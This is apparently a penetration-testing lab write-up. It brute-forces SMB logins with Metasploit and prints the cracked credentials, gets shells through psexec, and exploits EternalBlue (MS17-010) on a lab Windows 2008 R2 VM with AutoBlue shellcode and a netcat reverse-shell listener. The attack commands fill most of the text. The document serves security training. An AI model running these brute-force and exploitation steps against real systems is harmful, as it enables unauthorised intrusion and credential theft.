📌 SMB version 2.02

SMB Brute-force

• Use Metasploit smb_login module to brute force SMB

  • The brute force success is based on the users and password used.

msfconsole

search smb_login
use auxiliary/scanner/smb/smb_login
set RHOSTS 10.4.16.36
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
exploit

Metasploit smb_login

[+] 10.4.16.36:445 - 10.4.16.36:445 - Success: '.\sysadmin:samantha'
[+] 10.4.16.36:445 - 10.4.16.36:445 - Success: '.\demo:victoria'
[+] 10.4.16.36:445 - 10.4.16.36:445 - Success: '.\auditor:elizabeth'
[+] 10.4.16.36:445 - 10.4.16.36:445 - Success: '.\administrator:qwertyuiop' Administrator

SMB Exploitation

• Use PsExec.py script for Linux (from the impacket-scripts) to get a command prompt on the target machine, with the Administrator account.

  • Using this technique, no exploit is launched or uploaded on the target system.

  • It is a legitimate authentication with the actual credentials and the use of an official tool (psexec).

psexec.py Administrator@10.4.16.36 cmd.exe

psexec.py

• Alternatively to the Python script, use Metasploit psexec module to get a meterpreter session on the target system.

  • This technique will upload and run a (malicious) payload on the target. Pay attention to the antivirus!

msfconsole
search psexec
use exploit/windows/smb/psexec
set RHOSTS 10.4.16.36
set SMBUser Administrator
set SMBPass qwertyuiop
# Make sure the LHOST = your host IP address
exploit

Metasploit psexec

• Find the flag, running meterpreter commands

shell
# will provide a cmd shell on the target machine
cd \
dir
type flag.txt

Lab 2 - Eternal Blue (Extra)

🔬 Home Lab

I have prepared a vulnerable Windows 2008 R2 Virtual Machine and connected it to the same network of the Kali virtual machine. On the server, I have activated File Services role and created a shared folder with the Administrators Group.

• Host system: Kali Linux

• Target system: Windown Server 2008 R2 - IP 192.168.31.131 - Administrator:Eternal17010

• Exploitation tool: AutoBlue-MS17-010

• Vulnerability: CVE-2017-0143 - EternalBlue + CVE-2017-0144

Enumeration

nmap -sV -sC 192.168.31.131

nmap -sV -sC 192.168.31.131

sudo nmap --script smb-vuln-ms17-010 -p445  192.168.31.131

sudo nmap --script smb-vuln-ms17-010 -p445 192.168.31.131

• 📌 The system is vulnerable to the CVE-2017-0143

Manual Exploitation

• AutoBlue-MS17-010 will be used for the manual exploitation

cd
mkdir tools
cd /home/kali/tools
sudo git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git 
cd AutoBlue-MS17-010
pip install -r requirements.txt

• Generate a shellcode that will be exploited on the target system.

cd shellcode
chmod +x shell_prep.sh
./shell_prep.sh
# LHOST = Host Kali Linux IP
# LPORT = Port Kali will listen for the reverse shell

./shell_prep.sh

• Set a netcat listener on the specified port, in another terminal tab

nc -nvlp 1234

• In the AutoBlue terminal tab, use the eternalblue_exploit7.py to exploit the target from the AutoBlue-MS17-010 directory

cd ..
chmod +x eternalblue_exploit7.py
python eternalblue_exploit7.py 192.168.31.131 shellcode/sc_x64.bin

• Check the netcat tab for the reverse shell

Reverse Shell Success

Automatic Exploitation

msfconsole

search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.31.131
exploit

Metasploit ms17_010_eternalblue
